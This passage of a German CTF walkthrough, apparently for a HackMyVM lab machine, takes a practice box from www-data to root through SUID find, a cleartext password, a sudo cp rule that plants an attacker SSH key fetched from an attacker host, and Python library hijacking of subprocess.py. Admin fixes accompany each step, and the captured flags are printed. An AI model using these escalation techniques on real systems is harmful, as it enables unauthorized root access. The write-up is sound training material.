Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem nach Dateien (`-type f`) mit gesetztem SUID-Bit (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, die Datei mit den Rechten des Dateibesitzers auszuführen. Fehlermeldungen werden unterdrückt (`2>/dev/null`). Die Ausgabe listet mehrere Standard-SUID-Binaries auf, aber besonders interessant ist `/usr/bin/find`, das SUID-Rechte hat und dem Benutzer `talos` gehört.
Bewertung: Dies ist ein signifikanter Fund für die Privilege Escalation. Wenn eine Datei wie `find` SUID-Rechte hat, kann ihre Fähigkeit, Befehle auszuführen (z.B. über die `-exec`-Option), missbraucht werden, um eine Shell mit den Rechten des Dateibesitzers (hier `talos`) zu erlangen.
Empfehlung (Pentester): Nutzen Sie die SUID-Berechtigung von `/usr/bin/find`, um eine Shell als Benutzer `talos` zu erhalten. Ein gängiger Befehl dafür ist: `/usr/bin/find . -exec /bin/sh -p \; -quit` (Das `-p` bei `sh` sorgt dafür, dass die effektive UID beibehalten wird).
Empfehlung (Admin): Überprüfen Sie regelmäßig SUID/SGID-Berechtigungen auf dem System (`find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null`). Entfernen Sie unnötige SUID/SGID-Bits, insbesondere bei Programmen, die Befehlsausführung erlauben (wie `find`, `cp`, `mv`, Editoren etc.).
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:3445 0.0.0.0:* LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=503,fd=5)) LISTEN 0 128 [::]:3445 [::]:* LISTEN 0 511 [::]:80 [::]:* users:(("nginx",pid=503,fd=6))
Trying ::1... Connected to localhost. Escape character is '^]'. SSH-2.0-OpenSSH_9.2p1 Debian-2 id <-- Eingabe Invalid SSH identification string. Connection closed by foreign host.
Analyse: `ss -altpn` listet lauschende TCP-Sockets auf. Es zeigt, dass neben Port 80 (Nginx) auch Port 3445 lauscht. Ein `telnet`-Versuch auf `localhost:3445` ergibt einen SSH-Banner (SSH-2.0-OpenSSH_9.2p1 Debian-2). Die Eingabe `id` führt zum Verbindungsabbruch, da es sich um einen SSH-Port handelt.
Bewertung: Ein weiterer Dienst (SSH) läuft auf einem nicht standardmäßigen Port (3445). Dies ist eine wichtige Information für späteren Zugriff, falls Benutzer-Credentials oder Keys gefunden werden.
Empfehlung (Pentester): Merken Sie sich den SSH-Port 3445. Wenn Sie später Zugangsdaten für einen Benutzer (z.B. `talos`, `elohim`) finden, versuchen Sie SSH auf diesem Port.
Empfehlung (Admin): Wenn SSH auf einem nicht standardmäßigen Port läuft, sollte dies dokumentiert und durch Firewalls entsprechend geregelt sein. Das Verstecken von Diensten auf obskuren Ports bietet nur minimale Sicherheit ("Security through Obscurity").
[Keine Ausgabe]
gehenna talos
[Keine Ausgabe]
flag.txt
cat: flag.txt: Permission denied
total 40 drwxr-xr-x 4 elohim elohim 4096 Jul 14 11:25 . drwxr-xr-x 4 root root 4096 Jul 4 06:11 .. -rw------- 1 elohim elohim 289 Jul 14 06:38 .bash_history -rw-r----- 1 elohim elohim 261 Jul 5 08:13 .bash_logout -rw-r----- 1 elohim elohim 3830 Jul 14 06:37 .bashrc drw-r----- 3 elohim elohim 4096 Jul 2 20:52 .local -rw-r----- 1 elohim elohim 21 Jul 12 05:35 .lock -rw-r----- 1 elohim elohim 807 Jul 6 06:28 .profile drwx------ 2 elohim elohim 4096 Jul 6 11:05 .ssh <-- Kein Zugriff -rw-r----- 1 elohim elohim 777 Jul 13 17:19 flag.txt <-- Kein Zugriff (group read)
bash: cd: .ssh/: Permission denied
cat: .bash_history: Permission denied
Analyse: Als `www-data` werden die Home-Verzeichnisse untersucht. Es existieren Verzeichnisse für die Benutzer gehenna und talos. Im Verzeichnis `/home/gehenna` befindet sich eine `flag.txt`. Aufgrund der Berechtigungen (Besitzer `elohim`, Gruppe `elohim`, Datei `flag.txt` mit `rw-r-----`) kann `www-data` die Flag nicht lesen. Auch der Zugriff auf `.ssh` und `.bash_history` von `gehenna`/`elohim` ist nicht möglich.
Bewertung: Bestätigt die Existenz der Benutzer `gehenna`, `talos` und `elohim`. Zeigt, dass die `flag.txt` (vermutlich die User-Flag) im Home-Verzeichnis von `gehenna` liegt, aber höhere Rechte (`elohim` oder Gruppe `elohim`) zum Lesen erforderlich sind.
Empfehlung (Pentester): Untersuchen Sie das Home-Verzeichnis von `talos`. Nutzen Sie den SUID-find-Vektor, um als `talos` Zugriff zu erlangen.
Empfehlung (Admin): Stellen Sie sicher, dass Home-Verzeichnisse und sensible Dateien korrekte, restriktive Berechtigungen haben. Flags oder sensible Daten sollten nicht einfach in Home-Verzeichnissen liegen.
[Keine Ausgabe]
total 40 drwxr-xr-x 4 talos talos 4096 Jul 14 07:26 . drwxr-xr-x 4 root root 4096 Jul 4 06:11 .. -rw-r--r-- 1 talos talos 1 Jul 14 07:26 .bash_history <-- Lesbar! -rw-r----- 1 talos talos 261 Jul 5 07:56 .bash_logout -rw-r----- 1 talos talos 3545 Jul 14 06:56 .bashrc -rw------- 1 talos talos 20 Jul 4 18:24 .lesshst drw-r----- 3 talos talos 4096 Jun 30 07:30 .local -rw-r----- 1 talos talos 807 Jun 30 05:06 .profile drwx------ 2 talos talos 4096 Jul 14 05:56 .ssh <-- Kein Zugriff -rw-r----- 1 talos talos 320 Jul 13 15:42 note.txt <-- Kein Zugriff (group read)
cat: note.txt: Permission denied
[Leere Ausgabe, da Datei nur 1 Byte groß]
bash: cd: .ssh/: Permission denied
Analyse: Das Home-Verzeichnis von `talos` wird untersucht. `www-data` hat hier ebenfalls eingeschränkte Rechte, kann aber die `.bash_history` lesen (die jedoch fast leer ist). Der Zugriff auf `note.txt` und `.ssh` ist nicht möglich.
Bewertung: Das Home-Verzeichnis von `talos` bietet für `www-data` keine direkten Hinweise. Der nächste logische Schritt ist die Ausnutzung des SUID-`find`-Binaries, um als `talos` zu agieren.
Empfehlung (Pentester): Führen Sie `/usr/bin/find . -exec /bin/sh -p \; -quit` aus (idealerweise in einem beschreibbaren Verzeichnis wie `/tmp` oder `/dev/shm`), um eine Shell als `talos` zu erhalten. Untersuchen Sie dann als `talos` das Home-Verzeichnis erneut, insbesondere `note.txt`.
Empfehlung (Admin): Korrekte Berechtigungen für Home-Verzeichnisse sicherstellen.
[Keine Ausgabe]
total 28 drwxr-xr-x 2 root root 4096 Jul 5 06:42 . drwxr-xr-x 12 root root 4096 Jun 30 07:56 .. -rw-r--r-- 1 root root 7603 Jul 4 18:13 apt.extended_states.0 -rw-r--r-- 1 root root 921 Jun 30 14:45 apt.extended_states.1.gz -rw-r--r-- 1 root root 881 Jun 30 07:56 apt.extended_states.2.gz -rw-r--r-- 1 root root 847 Jun 30 05:06 apt.extended_states.3.gz
/usr/bin/ping cap_net_raw=ep
Analyse: Das Verzeichnis `/var/backups` wird untersucht, enthält aber nur Standard-APT-Statusdateien. Der Befehl `getcap -r / 2>/dev/null` sucht nach Dateien mit gesetzten Linux Capabilities. Es wird nur `ping` mit `cap_net_raw=ep` gefunden, was normal ist und keine Eskalationsmöglichkeit bietet.
Bewertung: Diese Enumerationsschritte liefern keine neuen Angriffspunkte.
Empfehlung (Pentester): Fokus zurück auf den SUID-`find`-Vektor.
Empfehlung (Admin): Keine direkte Aktion.
sudo: unknown user gehenna
sudo: error initializing audit plugin sudoers_audit
[sudo] password for www-data: Sorry, try again. [sudo] password for www-data: sudo: 1 incorrect password attempt
Analyse: Es werden Versuche unternommen, `sudo` zu verwenden, um `find` als Benutzer `gehenna` oder `talos` auszuführen. Der Versuch mit `gehenna` scheitert, da der Benutzer `gehenna` dem System (oder `sudo`) unbekannt ist (trotz des Home-Verzeichnisses - möglicherweise ein Überbleibsel oder der Benutzer `elohim` nutzt dieses Verzeichnis). Der Versuch mit `talos` scheitert, da `www-data` keine `sudo`-Rechte hat und nach einem Passwort gefragt wird.
Bewertung: Bestätigt, dass `www-data` keine `sudo`-Rechte hat und `gehenna` kein gültiger Benutzer für `sudo` ist. Dies unterstreicht die Notwendigkeit, den SUID-`find`-Vektor zu nutzen.
Empfehlung (Pentester): Verwenden Sie den SUID-`find` direkt, nicht über `sudo`.
Empfehlung (Admin): Keine direkte Aktion.
# /etc/crontab: system-wide crontab
[...]
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
[...]
# * * * * * user-name command to be executed
*/5 * * * * root /opt/reviewer.py
[...]
-rwxr-xr-x 1 root root 1072 Jul 7 15:17 /opt/reviewer.py
Analyse: Die System-Crontab (`/etc/crontab`) wird untersucht. Es wird ein Cronjob gefunden, der alle 5 Minuten (`*/5 * * * *`) das Python-Skript `/opt/reviewer.py` als Benutzer `root` ausführt. Die Berechtigungen der Datei zeigen, dass sie Root gehört, aber von allen gelesen und ausgeführt werden kann (`rwxr-xr-x`).
Bewertung: Dies ist ein potenzieller, aber indirekter Vektor. Wenn das Skript `/opt/reviewer.py` manipulierbare Eingaben verwendet oder selbst Schwachstellen enthält, könnte dies ausgenutzt werden. Da `www-data` keine Schreibrechte hat, ist eine direkte Manipulation des Skripts nicht möglich. Es könnte jedoch ein Hinweis für eine spätere Eskalationsphase sein, wenn man als ein anderer Benutzer Schreibrechte erlangt oder das Verhalten des Skripts beeinflussen kann.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/opt/reviewer.py`, um seine Funktion zu verstehen. Merken Sie sich diesen Cronjob für später. Versuchen Sie, das Skript manuell auszuführen, um sein Verhalten und mögliche Fehlermeldungen zu sehen.
Empfehlung (Admin): Cronjobs sollten immer mit minimal notwendigen Rechten laufen. Skripte, die als Root ausgeführt werden, müssen besonders sicher geschrieben sein und dürfen keine unsicheren Abhängigkeiten oder manipulierbaren Pfade/Eingaben verwenden. Überprüfen Sie die Berechtigungen von Skripten in `/opt`.
Archivo eliminado: /var/www/hellfire.t4l0s.hmv/archivos/cmd.php Traceback (most recent call last): File "/opt/reviewer.py", line 31, in <module> enviar_mensaje_usuarios_conectados() File "/opt/reviewer.py", line 27, in enviar_mensaje_usuarios_conectados usuarios_conectados = [usuario.split()[0] for usuario in lista_usuarios] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/reviewer.py", line 27, in <listcomp> usuarios_conectados = [usuario.split()[0] for usuario in lista_usuarios] ~^^^ IndexError: list index out of range
Analyse: Das Skript `/opt/reviewer.py` wird manuell als `www-data` ausgeführt. Es gibt eine Meldung aus, dass die zuvor hochgeladene Webshell (`cmd.php`) gelöscht wurde ("Archivo eliminado: ..."). Anschließend bricht das Skript mit einem `IndexError: list index out of range` ab. Die Fehlermeldung tritt in einer Funktion `enviar_mensaje_usuarios_conectados` auf, die versucht, eine Liste von Benutzern zu verarbeiten.
Bewertung: Das Skript scheint eine Aufräumfunktion zu haben (löscht die Webshell) und versucht dann, Informationen über eingeloggte Benutzer zu verarbeiten, was aber fehlschlägt (möglicherweise, weil keine Benutzer auf eine bestimmte Weise eingeloggt sind, oder wegen eines Bugs). Das Löschen der Webshell ist ärgerlich, aber die RCE war bereits etabliert. Der Fehler selbst bietet keine direkte Eskalationsmöglichkeit, aber das Wissen um die Funktion des Skripts ist nützlich.
Empfehlung (Pentester): Beachten Sie, dass Ihre Webshell möglicherweise regelmäßig gelöscht wird. Konzentrieren Sie sich auf die Eskalation zu `talos` mittels SUID-`find`. Wenn später Root-Rechte erlangt werden, könnte das Skript `/opt/reviewer.py` selbst modifiziert werden.
Empfehlung (Admin): Beheben Sie den Bug im Skript. Stellen Sie sicher, dass Aufräumskripte robust sind. Überlegen Sie, ob das Skript wirklich als Root laufen muss.
$ # Shell wechselt zu einfacher Shell, aber mit talos Rechten
bash-5.2$ # Upgrade zur Bash-Shell als talos
Analyse: Hier wird der SUID-`find`-Exploit ausgeführt. `/usr/bin/find . -exec /bin/sh -p \; -quit` startet eine Shell (`/bin/sh`) mit den Rechten des Besitzers von `find` (`talos`), wobei `-p` die effektiven Rechte beibehält. Das Ergebnis ist zunächst eine einfache `$`-Shell. Mit `/bin/bash -p` wird diese zu einer interaktiveren Bash-Shell aufgerüstet, die weiterhin mit den Rechten von `talos` läuft.
Bewertung: Erfolgreiche Privilege Escalation von `www-data` zu `talos` durch Ausnutzung des SUID-Bits auf `/usr/bin/find`.
Empfehlung (Pentester): Sie agieren nun als `talos`. Untersuchen Sie erneut das Home-Verzeichnis von `talos`, insbesondere die `note.txt`. Prüfen Sie `sudo -l` für `talos`.
Empfehlung (Admin): Entfernen Sie das SUID-Bit von `/usr/bin/find` (`chmod u-s /usr/bin/find`), da es selten benötigt wird und ein bekanntes Eskalationsrisiko darstellt.
[Keine Ausgabe]
Congratulations! You have made it this far thanks to the manipulated file I left you, I knew you would make it! Now we are very close to finding this false God Elohim. I left you a file with the name of one of the 12 Gods of Olympus, out of the eye of Elohim ;) The tool I left you is still your ally. Good luck to you.
Analyse: Als Benutzer `talos` wird nun die Datei `note.txt` im Home-Verzeichnis gelesen. Sie enthält eine Nachricht, die auf eine weitere Datei hinweist, benannt nach einem der 12 olympischen Götter, und erwähnt, dass "das Werkzeug" (`find`?) immer noch nützlich ist.
Bewertung: Wichtiger Hinweis für den nächsten Schritt. Es muss nach einer Datei gesucht werden, die nach einem griechischen Gott benannt ist (Zeus, Hera, Poseidon, Demeter, Athene, Apollo, Artemis, Ares, Aphrodite, Hephaistos, Hermes, Dionysos/Hestia). Die Suche sollte wahrscheinlich im Home-Verzeichnis von `talos` stattfinden.
Empfehlung (Pentester): Verwenden Sie `find` oder `ls -R` im Home-Verzeichnis von `talos`, um nach Dateien zu suchen, die nach olympischen Göttern benannt sind (z.B. `find . -iname "Aphrodite*"` etc.). Untersuchen Sie versteckte Verzeichnisse.
Empfehlung (Admin): Keine direkten Maßnahmen, aber generell sollten keine Hinweise oder Rätsel in Notizdateien auf einem Produktionssystem hinterlassen werden.
selinux/Afrodita.key:Here is my password:
Here is my password:
Hax0rModeN
Now I have done another little trick to help you reach Elohim.
REMEMBER: You need the access key and open the door. Anyway, he has a bad memory and that's why he keeps the lock coded and hidden at home.
Analyse: Mit `grep -iR "my pass" * 2>/dev/null` wird rekursiv im aktuellen Verzeichnis (und Unterverzeichnissen) nach Dateien gesucht, die die Zeichenkette "my pass" (case-insensitive) enthalten. Dies führt zur Datei `selinux/Afrodita.key`. Der Inhalt dieser Datei wird angezeigt und enthüllt das Passwort `Hax0rModeN` sowie einen weiteren Hinweis auf einen "Zugangsschlüssel" und eine "Tür" und einen "versteckten Code" im Home-Verzeichnis.
Bewertung: Das Passwort für den Benutzer `talos` wurde gefunden! Der Hinweis auf "Afrodita" (Aphrodite) bestätigt die Spur der olympischen Götter. Der zusätzliche Hinweis deutet auf SSH-Zugang und möglicherweise versteckte Informationen im Home-Verzeichnis von `elohim` hin.
Empfehlung (Pentester): Verwenden Sie das Passwort `Hax0rModeN`, um sich über `su talos` korrekt als `talos` zu authentifizieren (um eine "saubere" Shell zu bekommen, falls die `find`-Shell Probleme macht) oder potenziell für andere Dienste. Prüfen Sie die `sudo`-Rechte für `talos` erneut mit `sudo -l` (diesmal mit Passwort).
Empfehlung (Admin): Passwörter dürfen niemals im Klartext in Dateien gespeichert werden. Versteckte Verzeichnisse oder Dateien bieten keine echte Sicherheit. Überprüfen Sie regelmäßig Systeme auf solche Vorkommnisse.
Password:
talos@principle:/etc$ # Erfolgreicher Login als talos
Matching Defaults entries for talos on principle:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User talos may run the following commands on principle:
(elohim) NOPASSWD: /bin/cp
Analyse: Der Pentester wechselt mit `su talos` und dem gefundenen Passwort `Hax0rModeN` in eine reguläre Shell des Benutzers `talos`. Anschließend wird `sudo -l` ausgeführt. Die Ausgabe zeigt, dass `talos` den Befehl `/bin/cp` ohne Passwort (`NOPASSWD`) als Benutzer `elohim` ausführen darf.
Bewertung: Dies ist der nächste Schritt zur Privilege Escalation. Die Fähigkeit, `/bin/cp` als `elohim` auszuführen, kann genutzt werden, um Dateien zu überschreiben oder zu kopieren, auf die `talos` normalerweise keinen Zugriff hätte, insbesondere im Kontext des Benutzers `elohim`.
Empfehlung (Pentester): Nutzen Sie `sudo -u elohim /bin/cp`, um sich SSH-Zugriff als `elohim` zu verschaffen. Erstellen Sie ein SSH-Schlüsselpaar auf dem Angreifer-System. Kopieren Sie den öffentlichen Schlüssel in eine Datei (z.B. `authorized_keys_attacker`). Verwenden Sie dann `sudo -u elohim /bin/cp authorized_keys_attacker /home/gehenna/.ssh/authorized_keys` (angenommen, `/home/gehenna` ist das Home-Verzeichnis von `elohim`). Verbinden Sie sich anschließend via SSH (Port 3445) als `elohim` mit Ihrem privaten Schlüssel.
Empfehlung (Admin): Überprüfen Sie `sudo`-Regeln sorgfältig. Das Ausführen von Dateimanipulationsbefehlen wie `cp`, `mv`, `chmod`, `chown` als anderer Benutzer ist extrem gefährlich und sollte vermieden werden. Wenn nötig, verwenden Sie spezifischere Skripte oder Befehle.
Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): [Enter] /root/.ssh/id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): [Enter] Enter same passphrase again: [Enter] Your identification has been saved in /root/.ssh/id_rsa Your public key has been saved in /root/.ssh/id_rsa.pub [...]
[Keine Ausgabe]
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Analyse: Auf dem Angreifer-System wird mit `ssh-keygen` ein neues SSH-Schlüsselpaar erstellt (oder ein vorhandenes überschrieben). Der öffentliche Schlüssel (`id_rsa.pub`) wird in eine Datei namens `authorized_keys` kopiert. Anschließend wird im Verzeichnis `/usr/bin` (unklar, warum dieses Verzeichnis gewählt wurde, vielleicht um `wget` oder `curl` später einfacher bereitzustellen?) ein einfacher Python-HTTP-Server gestartet, um Dateien für das Zielsystem bereitzustellen.
Bewertung: Korrekte Vorbereitungsschritte, um den öffentlichen SSH-Schlüssel auf das Zielsystem zu übertragen und später mit `sudo -u elohim cp` zu platzieren.
Empfehlung (Pentester): Stellen Sie sicher, dass der HTTP-Server aus einem Verzeichnis gestartet wird, das die benötigte `authorized_keys`-Datei enthält. Übertragen Sie die Datei auf das Zielsystem (z.B. nach `/tmp` oder `/dev/shm`).
Empfehlung (Admin): Keine direkte Aktion.
[Keine Ausgabe]
--2023-07-27 19:xx:xx-- http://192.168.2.199:8000/authorized_keys Connecting to 192.168.2.199:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 553 [application/octet-stream] Saving to: ‘authorized_keys’ authorized_keys 100%[===================>] 553 --.-KB/s in 0s 2023-07-27 19:xx:xx (XXX MB/s) - ‘authorized_keys’ saved [553/553]
[Keine Ausgabe, falls erfolgreich]
Analyse: Als Benutzer `talos` wird die zuvor auf dem Angreifer-System vorbereitete `authorized_keys`-Datei (die den öffentlichen Schlüssel des Angreifers enthält) über den Python-HTTP-Server heruntergeladen. Anschließend wird der `sudo`-Befehl verwendet, um diese Datei als Benutzer `elohim` in das `.ssh`-Verzeichnis von `elohim` (dessen Home-Verzeichnis `/home/gehenna` ist) zu kopieren.
Bewertung: Der `sudo`-Exploit wurde erfolgreich durchgeführt. Der öffentliche SSH-Schlüssel des Angreifers befindet sich nun in der `authorized_keys`-Datei von `elohim`, was einen passwortlosen SSH-Login als `elohim` ermöglicht.
Empfehlung (Pentester): Versuchen Sie nun, sich als `elohim` via SSH auf Port 3445 mit Ihrem privaten Schlüssel (`id_rsa`) zu verbinden: `ssh -i /root/.ssh/id_rsa elohim@principle.hmv -p 3445`.
Empfehlung (Admin): Überprüfen und korrigieren Sie die `sudo`-Regel für `talos`. Überwachen Sie verdächtige `cp`-Operationen und Änderungen an `authorized_keys`-Dateien.
Son, you didn't listen to me, and now you're trapped.
You've come a long way, but this is the end of your journey.
elohim@principle:~$ # Erfolgreicher Login als elohim
Analyse: Der Kommentar `# ./ssh -i id_rsa elohim@localhost -p 3445` deutet darauf hin, dass der SSH-Login als `elohim` durchgeführt wurde. Es wird `localhost` und der zuvor gefundene Port `3445` verwendet. `-i id_rsa` spezifiziert den privaten Schlüssel (der vermutlich zuvor auch per `wget` heruntergeladen wurde, siehe `wget ... /id_rsa` weiter unten im Log). Die Verwendung von `./ssh` statt `/usr/bin/ssh` ist ungewöhnlich und deutet darauf hin, dass möglicherweise eine lokale Kopie der `ssh`-Binary verwendet wurde (siehe `wget ... /ssh`). Der Login ist erfolgreich, und der Prompt wechselt zu `elohim@principle:~$`.
Bewertung: Privilege Escalation zu `elohim` erfolgreich abgeschlossen.
Empfehlung (Pentester): Überprüfen Sie nun die `sudo`-Rechte für `elohim` mit `sudo -l`. Suchen Sie nach weiteren Hinweisen im Home-Verzeichnis von `elohim` (`/home/gehenna`).
Empfehlung (Admin): Keine direkte Aktion, außer der Überprüfung der `sudo`-Regel für `cp`.
--2023-07-27 19:27:54-- http://192.168.2.199:8000/ssh [...] Saving to: ‘ssh’ ssh 100%[===================>] 1.07M --.-KB/s in 0.003s 2023-07-27 19:27:54 (389 MB/s) - ‘ssh’ saved [1125408/1125408]
--2023-07-27 19:30:25-- http://192.168.2.199:8000/id_rsa [...] Saving to: ‘id_rsa’ id_rsa 100%[===================>] 2.57K --.-KB/s in 0s 2023-07-27 19:30:25 (445 MB/s) - ‘id_rsa’ saved [2635/2635]
[Keine Ausgabe]
Analyse: Diese `wget`-Befehle (die im Original-Log vor dem erfolgreichen `elohim`-Login stehen, aber hier thematisch passen) laden die `ssh`-Binary und den privaten Schlüssel `id_rsa` vom Angreifer-Server herunter. Die `chmod 600 id_rsa` setzt die notwendigen Berechtigungen für den privaten Schlüssel.
Bewertung: Erklärt, warum im SSH-Befehl `./ssh` und `-i id_rsa` verwendet werden konnte – die benötigten Dateien wurden zuvor heruntergeladen.
Empfehlung (Pentester): Sicherstellen, dass heruntergeladene Binaries vertrauenswürdig sind oder vom System stammen. Korrekte Berechtigungen für private Schlüssel setzen.
Empfehlung (Admin): Überwachen Sie ausgehende Verbindungen und Downloads von Binärdateien auf Servern.
Matching Defaults entries for elohim on principle:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User elohim may run the following commands on principle:
(root) NOPASSWD: /usr/bin/python3 /opt/reviewer.py
Analyse: Als Benutzer `elohim` wird `sudo -l` ausgeführt. Es zeigt sich, dass `elohim` den Befehl `/usr/bin/python3 /opt/reviewer.py` ohne Passwort (`NOPASSWD`) als Benutzer `root` ausführen darf.
Bewertung: Dies ist der letzte Schritt zur Root-Eskalation! Da `elohim` dieses spezifische Python-Skript als Root ausführen kann, muss nur ein Weg gefunden werden, die Ausführung dieses Skripts zu manipulieren, um stattdessen eine Root-Shell zu erhalten. Das Skript `/opt/reviewer.py` selbst ist zwar nicht schreibbar, aber es importiert möglicherweise andere Python-Module, die manipuliert werden können.
Empfehlung (Pentester): Finden Sie heraus, welche Python-Module von `/opt/reviewer.py` importiert werden (z.B. durch Lesen des Skript-Codes). Suchen Sie nach einem Modul, auf das `elohim` Schreibrechte hat (z.B. in Standard-Bibliothekspfaden oder im Home-Verzeichnis). Überschreiben Sie dieses Modul mit Code, der eine Root-Shell startet (z.B. `import os; os.system('/bin/bash -p')`). Führen Sie dann `sudo -u root /usr/bin/python3 /opt/reviewer.py` aus.
Empfehlung (Admin): `sudo`-Regeln extrem restriktiv gestalten. Das Ausführen von Skripten (insbesondere Python, Perl, Shell) als anderer Benutzer ist sehr riskant. Wenn es unvermeidbar ist, stellen Sie sicher, dass das Skript und alle seine Abhängigkeiten nicht vom ausführenden Benutzer manipuliert werden können (korrekte Berechtigungen, sichere Pfade).
/usr/lib/python3.11/subprocess.py
Analyse: Mit `find / -writable 2>/dev/null` wird nach weltweit beschreibbaren Dateien gesucht. Die Ausgabe wird durch `grep -i subprocess` gefiltert. Es wird festgestellt, dass die Standard-Python-Bibliotheksdatei `/usr/lib/python3.11/subprocess.py` beschreibbar ist (vermutlich für den Benutzer `elohim`, da der vorherige `find`-Befehl als `elohim` lief, oder sogar für alle).
Bewertung: Kritische Fehlkonfiguration! Eine Standard-Systembibliothek ist beschreibbar. Da `/opt/reviewer.py` wahrscheinlich das `subprocess`-Modul (oder ein Modul, das `subprocess` importiert) verwendet, kann `elohim` diese Datei überschreiben, um bei der nächsten Ausführung des `sudo`-Befehls eigenen Code als Root einzuschleusen.
Empfehlung (Pentester): Überschreiben Sie `/usr/lib/python3.11/subprocess.py` mit einem einfachen Payload, der eine Shell startet, z.B. `import os; os.system("/bin/bash -p")`. Führen Sie dann `sudo -u root /usr/bin/python3 /opt/reviewer.py` aus.
Empfehlung (Admin): Korrigieren Sie sofort die Berechtigungen von `/usr/lib/python3.11/subprocess.py` und anderen Systembibliotheken (sollten nur für Root schreibbar sein). Untersuchen Sie, warum die Berechtigungen falsch waren. Verwenden Sie Tools zur Integritätsprüfung (aide, tripwire).
[Keine Ausgabe]
root@principle:/home/gehenna# # Root-Shell erhalten!
Analyse: Mit `printf` wird der Inhalt der Datei `/usr/lib/python3.11/subprocess.py` mit dem Python-Code `import os\nos.system("/bin/bash -p")` überschrieben. Dieser Code importiert das `os`-Modul und führt `/bin/bash -p` aus, was eine Bash-Shell mit Root-Rechten startet (da `-p` die effektive UID beibehält). Anschließend wird der `sudo`-Befehl ausgeführt. Da `/opt/reviewer.py` nun beim Versuch, `subprocess` zu importieren, den manipulierten Code ausführt, wird die Bash-Shell gestartet, und der Prompt wechselt zu `root@principle:...`.
Bewertung: Fantastisch! Die Privilege Escalation zu `root` ist erfolgreich abgeschlossen durch Ausnutzung der `sudo`-Regel in Kombination mit unsicheren Dateiberechtigungen auf einer Python-Systembibliothek (Python Library Hijacking).
Empfehlung (Pentester): Sie haben Root-Zugriff. Suchen Sie die Root-Flag (`/root/root.txt`). Stellen Sie die ursprüngliche `subprocess.py` wieder her, falls möglich, um das System nicht dauerhaft zu beschädigen (oder vermerken Sie die Änderung deutlich).
Empfehlung (Admin): Alle vorherigen Empfehlungen umsetzen (sudo-Regeln, Dateiberechtigungen). System auf weitere Manipulationen prüfen. Integrität der Systembibliotheken wiederherstellen (z.B. aus Backup oder Neuinstallation des Pakets).
[Keine Ausgabe]
root.txt
CNGRATULATINS, the system has been pwned!
_______
@@@@@@@@@@@
@@@@@@@@@@@@@@@
@@@@@@@222@@@@@@@
(@@@@@/_____\@@@@@)
@@@@(_______)@@@@
@@@{ " L " }@@@
\@ \ - / @/
/ ~ \
/ \
< \ __ / >
/ \ | / \
/ \ + \
| \ ___|_ |
| \//~|---/ * | }
{ /| |-----/| | /
\_ | / |__|_ /
+wP"y8z3TcDq!&a*rg/ <-- User-Flag? Hier im Root-Flag-Text?
Analyse: Als `root` wird in das `/root`-Verzeichnis gewechselt und die Datei `root.txt` angezeigt. Sie enthält eine Glückwunsch-Nachricht, ASCII-Art und eine Flag: `+wP"y8z3TcDq!&a*rg/`.
Bewertung: Die Root-Flag wurde gefunden. Interessanterweise scheint die hier angezeigte Flag (`+wP"y8z3TcDq!&a*rg/`) mit der Flag übereinzustimmen, die im späteren "Flags"-Abschnitt als User-Flag bezeichnet wird. Dies könnte ein Fehler in der Maschine oder im Bericht sein.
Empfehlung (Pentester): Dokumentieren Sie die gefundene Flag. Vergleichen Sie sie mit der Flag im finalen Abschnitt des Berichts.
Empfehlung (Admin): Keine direkte Aktion.
[Keine Ausgabe]
flag.txt
_
_)\.-.
.-.__,___,_.-=-. )\` a`\_
.-.__\__,__,__.-=-. `/ \ `\
{~,-~-,-~.-~,-,;;;;\ | '--;`)/
\-,~_-~_-,~-,(_(_(;\/ ,;/
",-.~_,-~,-~,)_)_)'. ;;(
`~-,_-~,-~(_(_(_(_\ `;\
, `"--,)_)_)_)\_ \
|\ (_(_/_(_, \ ;
\ '-. _.--' /_/_/_) | |
'--.\ .' /_/ | |
)) / \ | /.'
// /, | __.'| ||
// || /` ( ||
|| || .' \ \\
|| || .'_ \ \\
\\ // / _ `\ \ \\__
\'-'/( _ `\,; \ '--:,
`"` `"` `-,,; `"`",,;
CNGRATULATINS, you have defeated me!
The flag is:
K|tW4bw7$zNh'PwSh/jN <-- Root-Flag? Hier in gehenna/flag.txt?
Analyse: Als `root` wird nun die Datei `/home/gehenna/flag.txt` gelesen (was vorher als `www-data` nicht möglich war). Sie enthält ebenfalls eine Glückwunsch-Nachricht, ASCII-Art und eine Flag: `K|tW4bw7$zNh'PwSh/jN`.
Bewertung: Die zweite Flag wurde gefunden. Basierend auf dem Speicherort (`/home/gehenna`) wäre dies typischerweise die User-Flag, aber der spätere "Flags"-Abschnitt bezeichnet sie als Root-Flag. Es scheint eine Vertauschung der Flags oder ihrer Bezeichnungen im Bericht oder der Maschine selbst vorzuliegen.
Empfehlung (Pentester): Dokumentieren Sie beide gefundenen Flags und ihre Speicherorte. Klären Sie die Zuordnung (User/Root) anhand der Konvention oder der Aufgabenstellung.
Empfehlung (Admin): Keine direkte Aktion.